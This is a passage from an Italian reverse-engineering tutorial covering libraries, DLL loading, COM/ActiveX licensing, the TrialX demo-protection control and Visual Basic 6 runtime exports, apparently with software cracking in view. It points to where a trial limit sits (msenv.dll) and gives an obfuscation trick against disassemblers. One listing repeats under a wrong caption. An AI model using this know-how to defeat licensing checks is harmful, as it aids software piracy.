0048CE5F:CreateFileA(LPSTR:006BFCAC:"C:\WINDOWS\000E121.TMP",….
0048D7D5:DeleteFileA(LPSTR:006BFCAC:"C:\WINDOWS\000E121.TMP")….
```

Debuggando il file si incontrano le solite difficoltà legate ai file packati in quanto bisognerebbe usare la tecnica dei dumper per riuscire a by-passare il problema.
Da queste istruzioni sembrerebbe che venga creato qualche file contenente le istruzioni decodificate con le quali viene creato il file da eseguire.
Oltre a questo dall'osservazione di tali informazioni potrebbe essere semplificata la problematica di individuare le funzioni da utilizzare nei breakpoint.

TRA LIBRERIE E ACTIVEX

Esistono diversi linguaggi che permettono la programmazione in ambiente Windows come ad esempio Visual Basic, Visual C++, Visual Java ecc.
Java in effetti è un caso particolare in quanto la sua logica è differente da quella degli altri linguaggi.
Ogni linguaggio possiede il suo compilatore od interprete il quale dopo aver eseguito un analisi sintattica e semantica traduce il sorgente originario in uno eseguibile dalla macchina.
Java possiede un traduttore in un byte code che viene interpretato da una macchina virtuale Java.
I programmi Java non subiscono una vera e propria compilazione tanto che utility come JAD.EXE riescono a rigenerare i sorgenti partendo dai files .CLASS generati dal "compilatore".
Indipendentemente dalla sintassi del linguaggio molte funzioni vengono gestite agganciandosi al sistema delle Api di Windows.
Tutti conosceranno il concetto di libreria.
In pratica durante la scrittura del software capita spesso di creare funzioni che possiedono la caratteristica di poter essere utilizzate in più di una circostanza.
In questo caso i linguaggi di programmazione, mediante diverse tecnologie, permettono la creazione di quelle che vengono definite con il nome di librerie.
Queste possono essere collegate ai nostri programmi mediante tecniche differenti come ad esempio quelle delle librerie statiche che devono essere collegate al software in fase di link.
La creazione di un programma eseguibile si suddivide in diverse fasi.
La prima fase è quella in cui il compilatore esegue un analisi sintattica e semantica del programma segnalandoci eventuali errori.
Passata questa fase il compilatore passa il testimone al linker il quale svolge diverse funzioni.
La prima è quella di controllare se le funzioni che vengono chiamate sono presenti dentro al software.
In caso negativo inizia a ricercarle dentro alle librerie collegate al programma e se non vengono reperite neppure in quel punto allora viene segnalato un errore di "Unresolved external" e la creazione del modulo eseguibile viene interrotta.
Come dicevo prima è possibile specificare che alcune funzioni sono presenti dentro ad una libreria statica la quale normalmente possiede come estensione .LIB.
Il compilatore dopo le sue passate crea dei moduli OBJ i quali sono moduli binari in cui il codice non è stato rilocato ovvero che dentro al quale i riferimenti sono ancora simbolici.
Quando noi scriviamo un programma creeremo in modo diretto od indiretto dei richiami ad indirizzi o per meglio dire a punti del programma che vengono usati come riferimenti.
Potrebbe essere un esempio :

```
if(valore == 1)
      salta_al_punto X;

altre_istruzioni

:punto X
```

In questo caso facciamo direttamente riferimento al salto in un punto che nel programma in esecuzione sarà ubicato ad un certo indirizzo.
In linguaggio assemblativo potrebbe essere una cosa del genere :

```
0030:1234   cmp   ax, 1       ; Compara ilcontenuto del registro AX con 1
0030:1236   je    0030:1239   ; Se uguale salta a 0030:1239
0030:1238   mov   bx, 2       ; Altre istr.
```

```
0030:1239   ....              ; Indirizzo del salto
```

In questo caso, come dicevo prima, sono io che richiedo direttamente di saltare ad un certo punto che nel programma indico come un simbolo.
In questo caso io lo chiamo punto X ma non ho la più pallida idea na che indirizzo di memoria fisico corriponderà al momento dell'esecuzione.
Esistono costrutti di linguaggi a più alto livello che vengono tradotti dal compilatore con all'interno dei riferimenti ad indirizzi.
Un altro esempio di riferimenti a punti precisi del programma lo è il caso in cui ci si riferisce a dei valori che sono salvati in qualche parte della memoria.
In linguaggio C potrebbe essere :

```
*m_Value = 123;
```

oppure in assembler:

```
0030:0002   mov   [0030:2345], 123
```

Nei moduli oggetto i riferimenti sono ancora simbolici e non assoluti come avviene dopo il caricamento del programma eseguibile.
Ci sono costrutti di certi linguaggi che per se stessi non possiedono loops o riferimenti ciclici ad indirizzi ma che il compilatore tradurrà facendoglieli avere.
Prendete il caso in cui si abbiano due vettori di 10 elementi ciascuno e che il problema sia quello di spostare il contenuto di ogni elemento di uno nel suo corrispettivo dell'altro.
Per risolvere il problema sarebbe necessario un loop del tipo:

```
int   array_uno[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 };
int   array_due[10];
int   indice;

for(indice=0;indice!=10;indice++)
      array_due[indice] = array_uno[indice];
```

In linguaggio assemblativo ci saranno controlli mediante cmp o similia e si eseguiranno jump (salti) a certi indirizzi a seconda dei casi.
Esistono costrutti che in linguaggi, come ad esempio il linguaggio C di prima, non mostrano caratteristiche di algoritmi in cui le istruzioni non siano altro che semplici assegnazioni ma che il compilatore tradurrà a modo dell'esempio di prima.
Questo esempio lo avevo riportato inizialmente ma lo voglio riportare per fare una comparazione.
Prendiamo il programma fatto con il ciclo for.

```
int   array_uno[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 };
int   array_due[10];

void  copy_array(void)
{
      int i;
      for(i=0;i!=10;i++)
            array_due[i] = array_uno[i];
}
```

Ora diamo il comando che crea il sorgente assembler.

```
Cl /c /Fatest.asm test.c
```

Et voilà !!

```
	TITLE test2.c
	.386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS  SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS  ENDS
_TLS  SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS  ENDS
FLAT  GROUP _DATA, CONST, _BSS
	ASSUME	CS: FLAT, DS: FLAT, SS: FLAT
endif
PUBLIC	_array_uno
_DATA SEGMENT
COMM  _array_due:DWORD:0aH
_array_uno DD	01H
	DD	02H
	DD	03H
	DD	04H
	DD	05H
	DD	06H
	DD	07H
	DD	08H
	DD	09H
	DD	00H
_DATA ENDS
PUBLIC	_copy_array
_TEXT SEGMENT
_i$ = -4
_copy_array PROC NEAR
; File test2.c
; Line 5
	push	ebp
	mov	ebp, esp
	push	ecx
; Line 7
	mov	DWORD PTR _i$[ebp], 0
	jmp	SHORT $L28
$L29:
	mov	eax, DWORD PTR _i$[ebp]
	add	eax, 1
	mov	DWORD PTR _i$[ebp], eax
$L28:
	cmp	DWORD PTR _i$[ebp], 10		; 0000000aH
	je	SHORT $L30
; Line 8
	mov	ecx, DWORD PTR _i$[ebp]
	mov	edx, DWORD PTR _i$[ebp]
	mov	eax, DWORD PTR _array_uno[edx*4]
	mov	DWORD PTR _array_due[ecx*4], eax
	jmp	SHORT $L29
$L30:
; Line 9
```

```
      mov   esp, ebp
      pop   ebp
      ret   0
_copy_array ENDP
_TEXT ENDS
END
```

Ora prendiamo il sorgente in cui la copia avviene con l’aritmetica dei puntatori.

```
struct X {
      int a[10];
};

int   array_uno[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 };
int   array_due[10];

void  copy_array(void)
{
      (*((struct X *)&array_due[0])) = (*((struct X *)&array_uno[0]));
}
```

Stesso comando di prima del compilatore ed ecco il sorgente :

```
      TITLE text.c
      .386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS  SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS  ENDS
_TLS  SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS  ENDS
FLAT  GROUP _DATA, CONST, _BSS
      ASSUME      CS: FLAT, DS: FLAT, SS: FLAT
endif
PUBLIC      _array_uno
_DATA SEGMENT
COMM  _array_due:DWORD:0aH
_array_uno DD     01H
      DD    02H
      DD    03H
      DD    04H
      DD    05H
      DD    06H
      DD    07H
      DD    08H
      DD    09H
      DD    00H
_DATA ENDS
PUBLIC      _copy_array
_TEXT SEGMENT
_copy_array PROC NEAR
; File text.c
; Line 9
```

```
      push  ebp
      mov   ebp, esp
      push  esi
      push  edi
; Line 10
      mov   ecx, 10                              ; 0000000aH
      mov   esi, OFFSET FLAT:_array_uno
      mov   edi, OFFSET FLAT:_array_due
      rep movsd
; Line 11
      pop   edi
      pop   esi
      pop   ebp
      ret   0
_copy_array ENDP
_TEXT ENDS
END
```

Già a livello di lunghezza il secondo risualta essere di 927 bytes contro i 1174 del primo.
Ora mettiamo iun comparazione la perte dell'algoritmo eliminando la parte delle dichiarazioni dei segmenti e dei dati.

```
_copy_array PROC NEAR
      push  ebp
      mov   ebp, esp
      push  esi
      push  edi
      mov   ecx, 10
      mov   esi, OFFSET FLAT:_array_uno
      mov   edi, OFFSET FLAT:_array_due
      rep movsd
      pop   edi
      pop   esi
      pop   ebp
      ret   0
_copy_array ENDP
```

CON ARITMETICA PUNTATORI

```
_copy_array PROC NEAR
      push  ebp
      mov   ebp, esp
      push  ecx
      mov   DWORD PTR _i$[ebp], 0
      jmp   SHORT $L28
$L29:
      mov   eax, DWORD PTR _i$[ebp]
      add   eax, 1
      mov   DWORD PTR _i$[ebp], eax
$L28:
      cmp   DWORD PTR _i$[ebp], 10
      je    SHORT $L30
      mov   ecx, DWORD PTR _i$[ebp]
      mov   edx, DWORD PTR _i$[ebp]
      mov   eax, DWORD PTR
_array_uno[edx*4]
      mov   DWORD PTR
_array_due[ecx*4], eax
      jmp   SHORT $L29
$L30:
      mov   esp, ebp
      pop   ebp
      ret   0
_copy_array ENDP
```

CON CICLO FOR

Che ne dite !? Visto che i puntatori poi alla fine non sono neppure male ?
Prendiamo sempre ad esempio il C il quale possiede un aritmetica degli indirizzi paurosa.
I linguaggi a più alto livello trattano le variabili in modi più trasparenti agli utenti.
In Basic ad esempio se dichiaro una variabile che conterrà un valore non mi dovrò preoccupare di dove questa è ubicata in memoria.
Il C spesso lo pretende e spesso di questo ci si può avvantaggiare per creare costrutti potenti.

Provate a creare una funzione che esegua la copia degli elementi di due array, come nel caso precedente, usando solo un assegnazione.
Seguite il ragionamento :

```
struct X { int a[10]; }
```

dichiara in C la formazione di una fatidica struttura X che contiene un solo array di 10 elementi (attenzione che non lo alloca ma che ne definisce solo le caratteristiche).
Successivamente ho i miei due arrays:

```
int   array_uno[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 };
int   array_due[10];
```

Se a questo punto avessi :

```
&array_due[0]
```

sarebbe come dire "l' indirizzo di un intero relativo al primo elemento di array_due.
Se tramutassi tutto in :

```
*(&array_due[0])
```

avei "il contenuto dell'indirizzo di un intero relativo al primo elemento di array_due ovvero l'oggetto puntato dall'indirizzo di array_uno[0]".
Ma se a questo punto eseguissi il cast (forzatura) e convincessi il compilatore che l'indirizzo &array_due[0] è quello di una struttura X e non di un intero, con :

```
(*((struct X *)&array_due[0]))
```

sarebbe come dire "il contenuto dell' indirizzo di una struttura X".
A questo punto facendo

```
(*((struct X *)&array_due[0])) = (*((struct X *)&array_uno[0]));
```

direi "prendi il contenuto all'indirizzo della struttura X array_uno e mettilo come contenuto all'indirizzo della struttura X array_due.
Ed ecco fatto il passaggio dei dieci valori di un array dentro ad un altro senza passare dal ciclo for.
Ma questo solo indirettamente in quanto il compilatore creerà una struttura in assembler simile a quella che veniva generata con il codice in C visto prima, quello del for (come abbiamo visto prima neppure tanto).
Vedremo più avanti in modo più approfondito il discorso degli indirizzi.
Le funzioni dentro alle librerie statiche (.LIB) sono racchiuse come moduli .OBJ.
Infatti il .LIB viene creato con l'utility LIB.EXE che prende il .OBJ e lo accoda in una file .LIB segando dove si trova in una tabella convenzionale.
Volendo potremmo tenere le nostre funzioni di libreria come moduli .OBJ e potremmo linkarli al nostro programma in fase di LINK.
Un altro tipo di libreria è quella dinamica la quale viene inclusa nel programma in fase di esecuzione.
Queste sono quelle che possiedono come estensione .DLL.
Le DLL che contengono le funzioni richiamate nel nostro programma devono essere fornite con il programma eseguibile, in caso contrario verrà segnalato un errore.
Negli ultimi anni sono state sviluppate altre tecniche che permettono il riutilizzo binario del codice e precisamente le metodologie legate alle OLE e a tutti i suoi derivati (metodologie COM, DCOM ecc.)

In ogni caso dal punto di vista concettuale il programma cambia poco in quanto la differenza in pratica è solo quella di come deve essere reperita una certa funzione richiamata nel software.
Questi moduli al momento dell'esecuzione dovranno essere presenti in memoria.
Nel caso di librerie statiche queste vivono collegate al programma eseguibile per cui vengono caricate al momento del caricamento di quest'ultimo.
Nel caso di DLL queste dovranno essere presenti sul sistema in qualche posizione dove Windows riesce a trovarle (sotto \widows, sotto \windows\system o sotto patch).
In questo caso il software dovrà eseguire il caricamento della libreria mediante una funzione appartenente alle API di Windows e precisamente con LoadLibrary.
Le funzioni inserite nella DLL letta verranno caricate in memoria dove il software riuscirà a trovarle e ci rimarranno sino ad una chiamata ad un altra funzione Windows ovvero FreeLibrary la quale libererà la memoria occupata.
I controlli ActiveX, ultima evoluzione by Microsoft dei controlli Ole, possiedono la visione molto più vicina ad oggetti con incapsulati al suo interno metodi e proprietà.
Normalmente questo tipo di controlli vengono inglobati all'interno di dialog o di forms dentro alle quali svolgono il loro ciclo di vita.
Supponiamo che ci troviamo dinanzi ad un controllo ActiveX destinato all'elaborazione delle immagini.
Mediante le apposite opzioni dell' IDE utilizzato per la stesura del programma inseriremo il controllo in una dialog ed a questo gli assegneremo un identificatore che ci permetterà di vederlo come un oggetto all'interno del codice.
Generalmente le proprietà di un controllo ActiveX possono essere settate tramite un apposita maschera disposta dal controllo stesso.
Nelle seguenti immagini viene mostrato l'inserimento di un controllo ActiveX dentro ad un programma Visual C++.

I controlli devono essere registrati nel sistema Windows, prima di essere utilizzati, mediante l'utility regsvr32.exe.
Spesso questo tipo di controlli dispongono di routines interne per la serializzazione al fine di proteggerle dalla divulgazione non autorizzata.
Il richiamo dei metodi o il settaggio dei parametri avviene con la sintassi classica del metodo ad oggetti.
Supponiamo che al momento dell'inserimento del controllo lo chiamiamo m_Imaggine e che lo stesso possieda un metodo chiamato SetCaption().

La sintassi sarebbe :

```
m_Immagine.SetCaption("Caption text");
```

I controlli ActiveX sono uno dei punti evolutivi della metodologia OLE creata dalla Microsoft passata attraverso, da prima, le DLL per poi giungere ai VBX ed arrivare agli OCX.
Riassumendo possiamo dire che le funzioni offerte da librerie possono essere contenute in LIB statiche le quali vengono collegate al programma in fase di link.
Le DLL possono essere caricate dal programma tramite funzioni in modo dinamico al momento del caricamento del programma.
Gli ActiveX verranno caricati automaticamente.

La visione di come e quando vengono caricate le funzioni esterne presenti in questi moduli è importante nell'istante in cui si esegue il debug di un programma in quanto spesso il trace esce da questo per entrare dentro ad una di queste librerie.
Per questo motivo alcuni disassemblatori possiedono dei flags che è possibile settare per fare in modo che il debugger stesso indichi l'entrata e l'uscita da uno di questi moduli.
Nell'immagine a fianco è mostrato WDASM 8.9 e in basso è possibile vedere i vari flags che indicano se deve essere eseguito un break entrando ed uscendo da una DLL ecc.
Vedremo più avanti il problema dal punto di vista pratico.
Spesso delle funzioni di protezione dei programmi sono appunto inserite dentro a delle DLL e non dentro al codice principale del file eseguibile.
Ad esempio nei programmi come Visual J++ della Microsoft la limitazione a 60 giorni del dimostrativo è situato dentro alla DLL msenv.dll.
Sempre legata all'aritmetica dei puntatori è possibile trovare alcuni sutterfugi adatti a far perdere la testa.
Il seguente è un metodo che io stesso usavo diversi anni fà.
In pratica un programma è composto da molte funzioni le quali vengono richiamate durante l'esecuzione del programma.
Facendo l'esempio in Linguaggio C potremmo avere :

```
void  function_a(void)
{
...
}

void  function_b(void)
{
...
}

...
function_a();
function_b();
...
```

Sarebbe possibile fare un bella cosa sfruttando gli indirizzi.
In pratica si dichiara un array di puntatori a funzioni ai quali si assegnano gli indirizzi delle funzioni.

```
void  func_a(void);
void  func_b(void);

void (*func[])() = { func_a, func_b };

void func_a(void)
{
      printf("Uno");
}

void func_b(void)
{
      printf("Due");
}
```

```
void  main(void)
{
      (*func[0])();
      (*func[1])();
}
```

Usando l'indirizzamento in questo modo capirete che è facile usare calcoli su stringhe di codici o di copyright come indici per indirizzare le funzioni, per cui i disassemblatori, che ricostruiscono le tabelle da cui è possibile capire quali sono le funzioni richiamate, vanno in tilt (non vi mostrano i nomi delle funzioni).

GERARCHIA DELLE FUNZIONI

Abbiamo detto che molte funzioni usate dai linguaggi convenzionali sono residenti dentro a quelle chiamate librerie.
Ho detto relative ai linguaggi convenzionali in modo errato visto che nessuno ci vieta di crearci anche noi le nostre librerie personali.
Comunque in ogni caso senza supportarci su questa possibilità generalmente le funzioni che risiedono in librerie sono quelle legate ai vari RunTime.
Nel capitolo legato agli interrupts a all'assembler ho detto che il sistema elettronico del sistema può essere visto come un certo numero di processori dedicati alle varie funzioni che offrono delle porte di I/O per permettere la loro programmazione.
Questo livello in genere è sufficientemente basso tanto da rendere complessa la progettazione logica e la programmazione dei software.
Per risolvere questo problema i sistemisti che hanno prodotto i PC hanno fornito un primo livello software gestito tramite interrupts i quali fornivano delle funzionalità di base per la programmazione di tali periferiche.
Questo comunque, il livello BIOS, è ancora sufficientemente basso tanto che la Microsoft ha alzato tale livello fornendo un sistema operativo il quale sfruttando tali servizi ne offriva degli altri più complessi ed evoluti.
Lo stesso discorso lo possiamo fare per quanto riguarda le librerie.
Windows in certe DLL (user32.dll, kernel32.dll ecc.) offre un certo numero di funzioni, abbastanza elevato, che possono essere utilizzate per la creazione di programmi.
Queste funzioni non sono legate ad algoritmi generali ma sono destinate all'interazione con Windows.
Fanno parte di queste funzioni come : GetDlgItem, GetWindowText ecc.
Anche i linguaggi che verso l'utente utilizzano altre nomenclature per svolgere funzioni simili spesso si agganciano alle librerie di Windows per l'esecuzione di certe funzionalità.
É già stato detto in altro luogo che esistono due metodi per collegarsi ad un DLL e precisamente quelli che seguono.
Il primo è quello di eseguire il link di una libreria generalmente fornita con la DLL la quale pensa ad eseguire l'interfacciamento del nostro programma con quest'ultima.

Il secondo metodo è quello di eseguire la lettura dinamicamente della DDL con funzioni tipo LoadLibrary.
Una funzione attiva sotto Windows può essere vista come in istanza per cui dopo la creazione del link dinamico è possibile creare istanze di funzioni presenti nelle DLL.
In ogni caso vedrete che moltissime, se non tutte, DLL a sua volta leggono user32.dll ecc. tanto da poter vedere il tutto come un albero gerarchico di collegamenti.
Potete vedere qui a fianco che dalla DDL VBRUN300 partono i link con le DLL USER, KERNEL ecc.
Altre DLL che non sono al primo livello alla fine utilizzano funzioni contenute in kernel32.dll e nelle altre di sistema.
Spesso librerie utilizzate da più programmi risiedono in directory condivise o dentro a windows\system.
DLL utilizzate soltanto da singoli programmi vengono in genere posizionate nelle stesse directory dei programmi.
La ricerca parte dalla directory in cui si è posizionati per seguire quelle incluse nella specifica PATH del Dos per giungere in windows e windows\system.
Le librerie statiche invece vengono collegate in fase di link al programma e non sono residenti su file esterni.
Questo secondo metodo viene utilizzato in particolar modo con i vecchi programmi DOS anche se di fatto anche in sistemi come nelle ultime versioni di Visual C++ è possibile collegare staticamente le librerie MFC.
Tutte le funzioni utilizzate nei programmi partono come flusso di chiamate da quella che potrebbe essere definita come main function.
In C questa funzione prende il nome di WinMain mentre in assembler potremmo definirlo soltanto come entrypoint del software.
I programmi in Windows 3.1 chiamavano prima di WinMain tre funzioni semi documentate ovvero InitTask(), InitApp e WaitEvent().
In Win32 prima di WinMain veniva chiamata la funzione WinMainCRTStartup() mentre per i programmi console il nome era mainCRTStartup().
Generalmente il compilatore, tra le tante cose che aggiunge, ci mette anche questa funzione ma solo nel caso in cui questa non esista.
In altre parole il programmatore potrebbe scrivere lui questa funzione.
Una libreria di funzioni potrebbe essere vista come una metodologia per il riutilizzo del codice.
In pratica una funzione sufficientemente generica e con uno scopo non limitato ad un solo programma, potrebbe essere inserita in una libreria e successivamente riutilizzata in altri programmi.
Microsoft per garantire la riusabilità del software a livello binario ha puntato sulla tecnologia OLE.
Dalla fine degli anni 80 la tecnologia OLE ha subito un infinità di modifiche sino ad abbracciare la nuova tecnologia legata al modello COM.
Molte funzionalità nei programmi al giorno d’oggi sono sviluppate mediante questa tecnologia.
Nei programmi venduti sono sempre più presenti moduli OCX nelle quali sono incapsulate tutte i metodi relativi a determinate gestioni.
Le librerie di funzioni, come ad esempio quelle legate alla grafica, sono distribuite in questo formato e non è raro trovare sistemi di protezione software aderenti a questo filone.
Il lato positivo di questa metodologia è che l’integrazione tra componenti diverse, sviluppati in tempi differenti e da vari autori, avviene a livello di codice oggetto e non di sorgente.
Aderire a questo standard porta ad una serie di vantaggi tra cui l’interoperabilità tra componenti diversi, l’indipendenza dal linguaggio e la compatibilità a ritroso verso precedenti versioni dello stesso componente.
Lo standard COM dispone di interfacce che possono essere viste come una collezione di funzioni la cui sintassi una volta definita rimane immutata.
Tutte le funzionalità degli oggetti COM sono rese disponibili tramite queste interfacce.
Ogni componente viene implementato come un puntatore ad una v-table, ovvero una tabella di puntatori a funzione.

Su un volume avevo letto una volta una metafora che rendeva bene l’idea usando il concetto di contratto.
In pratica un oggetto COM veniva paragonato a questo in quanto quando dichiarava di supportare una certa interfaccia ComInterface, ad esempio, assicurava per contratto l’implementazione di tutte le funzioni previste.
Il modello COM ha come base di tutti i suoi componenti l’interfaccia Iunknow composta da tre funzioni di base : AddRef(), Release(), QueryInterface().
Le prime due gestiscono un meccanismo interno di conteggio delle referenze.
Tutte le volte che l’oggetto viene connesso un contatore interno viene incrementato e inversamente viene decrementato quando questo viene rilasciato.
Il metodo QueryInterface() invece ha il compito di attivare il processo di interoperabilità tra componenti e il suo supporto.
Questo metodo è obbligatorio per tutti gli oggetti COM.
Esiste una specie di analogia tra le classi del C++ e gli oggetti COM anche se uno è a livello sorgente mentre l’altro a livello binario.
Tutte e due possono essere viste come riferimenti a una tabella di funzioni che elenca i servizi che possono servire.
ActiveX dispone di un sistema particolare per la gestione delle licenze.
Per fare questo MFC mete a disposizione uno schema di base in grado di soddisfare la maggior parte delle esigenze in questo settore.
Come dicevo prima ActiveX si basa sulla metodologia delle interfacce e anche per l’implementazione delle licenze viene eseguita tramite quella chiamata IclassFactory2 che comprende alcuni metodi che sono abbastanza semplici da scrivere.
Quando una software house scrive una controllo ActiveX e lo mette in vendita sa che l’acquirente lo utilizzerà nella sua applicazione e che quindi distribuirà il file .ocx che contiene i metodi ad altre persone.
Il problema della licenza cerca di risolvere il problema dell’uso non autorizzato di questa.
Chi riceve l’applicazione potrebbe tranquillamente inserire il controllo OCX dentro ad un suo programma, una pagina html o qualsiasi software che supporti questa metodologia.
Il sistema delle licene dovrebbe innanzi tutto differenziare quello che l’uso del controllo in un ambiente di sviluppo da quello di runtime.
Avrete visto in giro per i vostri dischi dei file .LIC.
Questi sono file di licenza utilizzati con controlli OCX che avete installato con qualche sistema di sviluppo o a seguito di qualche applicativo generale.
La classe di gestione delle licenze, ICLasFactory2, deriva dalla classe IClassFactory rispetto alla quale dispone solo di alcuni metodi in più.
Il metodo GetLicInfo recupera le informazioni che riguardano l’attuale licenza del controllo.
Se il controllo lo supporta, il metodo RquestLicKey gli chiede una copia run-time della licenza.
Il metodo CreateInstanceLic è analogo a CreateInstace salvo che prende come parametro la chiave di licenza.
Esistono metodi come GetLicInfo, RequestLicKey e CreateInstanceLic che costituiscono le basi per tutti i controlli di licenza.
La chiave di licenza viene trattata come un BSTR anche se di fatto può contenere qualsiasi dato compresi dei NULL.

ACTIVE X PER SISTEMI DI CREAZIONE DEMO

Come dicevo prima gli ActiveX stanno diventando uno standard anche nel campo delle protezioni da copia e per i sistemi di creazione demo.
Un prodotto commerciale legato a questa tecnologia è TrialX.
Questo controllo ActiveX è in grado di essere implementato in qualsiasi programma per creare versioni dimostrative anche molto complesse.
TrialX mantiene le informazioni relative al programma e all’utente in un suo database non visibile.

TrialX esiste in tre versioni che dispongono delle seguenti possibilità (leggete il capture della pubblicità di TrialX):

```
· Standard Edition—The Standard Edition includes all of the Free Edition
features plus it provides complete control over the duration of the trial. It
is limited to day limited trials. You cannot change the style of trial.
· Developer Edition—The Developer Edition includes all of the Standard
Edition features plus it provides complete control over both the style and
duration of the trial. It supports day locks, time locks, run locks, feature
locks and date locks. You have complete control over the appearance,
style and duration of the trials. You cannot extend, remove or otherwise
control the trial remotely.
· Professional Edition—The Professional Edition includes all of the
Developer Edition features plus it provides complete remote control over
trial for extensions, removals and updates to the trial. It also provides
localization capabilities so that you can create custom localized versions
of your trials.
```

TrailX si basa sulla DLL o sull' OCX TRXTD200.DLL.

```
General informations : c:\Windows\SYSTEM\Trxtd200.dll
=====================================================
Last update      : 15/06/99
File size        : 475 136 byte(s)
Module type      : WINDOWS Dynamic links library (32 bits)
FileDescription  : Secure Trials of Your Real Software
FileVersion      : 2.02.0071
CompanyName      : Modern Software Publishing, Inc.
LegalCopyright   : ©1999 Modern Software Publishing, Inc. All rights reserved.
InternalName     : trxtd200
OriginalFilename : trxtd200.dll
ProductName      : Modern TrialX 2.0 (DLL)
ProductVersion   : 2.02.0071
```

La DLL esporta le seguenti funzioni

```
Exported functions : c:\Windows\SYSTEM\Trxtd200.dll
===================================================
    0 DllCanUnloadNow
    1 DllGetClassObject
    2 DllRegisterServer
    3 DllUnregisterServer
```

ed importa dalla DLL relativa alla Virtual Machine di Visual Basic 6.0

```
Imported functions : c:\Windows\SYSTEM\Trxtd200.dll
===================================================
MSVBVM60     0 DllFunctionCall
MSVBVM60     0 EVENT_SINK_AddRef
MSVBVM60     0 EVENT_SINK_GetIDsOfNames
MSVBVM60     0 EVENT_SINK_Invoke
MSVBVM60     0 EVENT_SINK_QueryInterface
MSVBVM60     0 EVENT_SINK_Release
MSVBVM60     0 MethCallEngine
MSVBVM60     0 ProcCallEngine
MSVBVM60     0 Zombie_GetTypeInfo
MSVBVM60     0 Zombie_GetTypeInfoCount
MSVBVM60     0 __vbaExceptHandler
```

La DLL si riferisce direttamente ed indirettamente alle seguenti DLL di sistema e di RunTime.

```
Imported functions : c:\Windows\SYSTEM\Trxtd200.dll
===================================================
MSVBVM60     0 DllFunctionCall
MSVBVM60     0 EVENT_SINK_AddRef
MSVBVM60     0 EVENT_SINK_GetIDsOfNames
MSVBVM60     0 EVENT_SINK_Invoke
MSVBVM60     0 EVENT_SINK_QueryInterface
MSVBVM60     0 EVENT_SINK_Release
MSVBVM60     0 MethCallEngine
MSVBVM60     0 ProcCallEngine
MSVBVM60     0 Zombie_GetTypeInfo
MSVBVM60     0 Zombie_GetTypeInfoCount
MSVBVM60     0 __vbaExceptHandler
```

LIBRERIA MACCHINA VIRTUALE VISUAL BASIC 6.0

Un discorso particolare in relazione alle librerie va fatto per quanto riguarda quelle di un dei linguaggi più utilizzati ovvero Visual Basic.
Moltissimi programmi fanno riferimento alle librerie di VisualBasic 6.0, ad esempio anche TrialX che abbiamo appena visto.
Il file di RunTime si chiama MSVBVM60.DLL e come dice il nome con precisione è relativo alla macchina virtuale di VB.
I dati precisi sono :

```
General informations : f:\WINNT\SYSTEM32\MSVBVM60.DLL
Last update       : 26/04/99
File size         : 1 409 024 byte(s)
Module type       : WINDOWS Dynamic links library (32 bits)
FileDescription   : Visual Basic Virtual Machine
FileVersion       : 6.00.8244
CompanyName       : Microsoft Corporation
LegalCopyright    : Copyright © 1987-1998 Microsoft Corp.
InternalName      : MSVBVM60.DLL
ProductName       : Visual Basic
ProductVersion    : 6.00.8244
```

Utilizzando WDASM ci si ritrova dinanzi ad una finestra relativa alle funzioni importate del tipo riportato qui a fianco.
La seguente lista mostra le funzioni esportate da MSVBVM60.DLL

W32Dasm Alphabetical List of Imported Functions
To Search Disassembly for Function, Double Click on Text
Cancel Search
MSVBVM60.__vbaAryDestruct
MSVBVM60.__vbaAryLock
MSVBVM60.__vbaAryUnlock
MSVBVM60.__vbaBoolStr
MSVBVM60.__vbaBoolVar
MSVBVM60.__vbaBoolVarNull
MSVBVM60.__vbaCastObj
MSVBVM60.__vbaCastObjVar
MSVBVM60.__vbaCheckType
MSVBVM60.__vbaCheckTypeVar
MSVBVM60.__vbaChkstk
MSVBVM60.__vbaDateR8
MSVBVM60.__vbaDateVar
MSVBVM60.__vbaEnd
MSVBVM60.__vbaErrorOverflow
MSVBVM60.__vbaExceptHandler
MSVBVM60.__vbaExitEachColl
Close
Copy All
Copy View

```
Exported functions : f:\WINNT\SYSTEM32\MSVBVM60.DLL
```

```
    0 ThunRTMain
    1 VBDllUnRegisterServer
    2 VBDllCanUnloadNow
    3 VBDllRegisterServer
```

```
    4 VBDllGetClassObject
    5 UserDllMain
    6 DllRegisterServer
    7 DllUnregisterServer
```

```
    8 __vbaAryLock
    9 __vbaBoolErrVar
   10 __vbaRedimVar2
   11 __vbaStrErrVarCopy
```

```
   12 __vbaVarLateMemCallLd
   13
__vbaVarLateMemCallLdRf
   14 __vbaVarLateMemCallSt
   15 __vbaVarLateMemSt
   16 __vbaVarLateMemStAd
   17 __vbaAryVarVarg
   18 __vbaFpCDblR4
   19 __vbaFpCDblR8
   20 __vbaFpCSngR4
   21 __vbaFpCSngR8
   22 __vbaFpCmpCy
   23 __vbaFpCy
   24 __vbaFpI2
   25 __vbaFpI4
   26 __vbaFpR4
   27 __vbaFpR8
   28 __vbaFpUI1
   29 __vbaFreeObj
   30 __vbaFreeStr
   31 __vbaFreeVar
   32 __vbaFreeVarg
   33 __vbaI2Abs
   34 __vbaI2I4
   35 __vbaI2Sgn
   36 __vbaI4Abs
   37 __vbaI4Sgn
   38 __vbaStrCopy
   39 __vbaStrMove
   40 __vbaUI1I2
   41 __vbaUI1I4
   42 __vbaUI1Sgn
   43 __vbaVarCopy
   44 __vbaVarDup
   45 __vbaVarMove
   46 __vbaVarVargNofree
   47 __vbaVarZero
   48 __vbaVargParmRef
   49 __vbaVargVar
   50 __vbaVargVarCopy
   51 __vbaVargVarMove
   52 __vbaVargVarRef
   53 DLLGetDocumentation
   54 DllCanUnloadNow
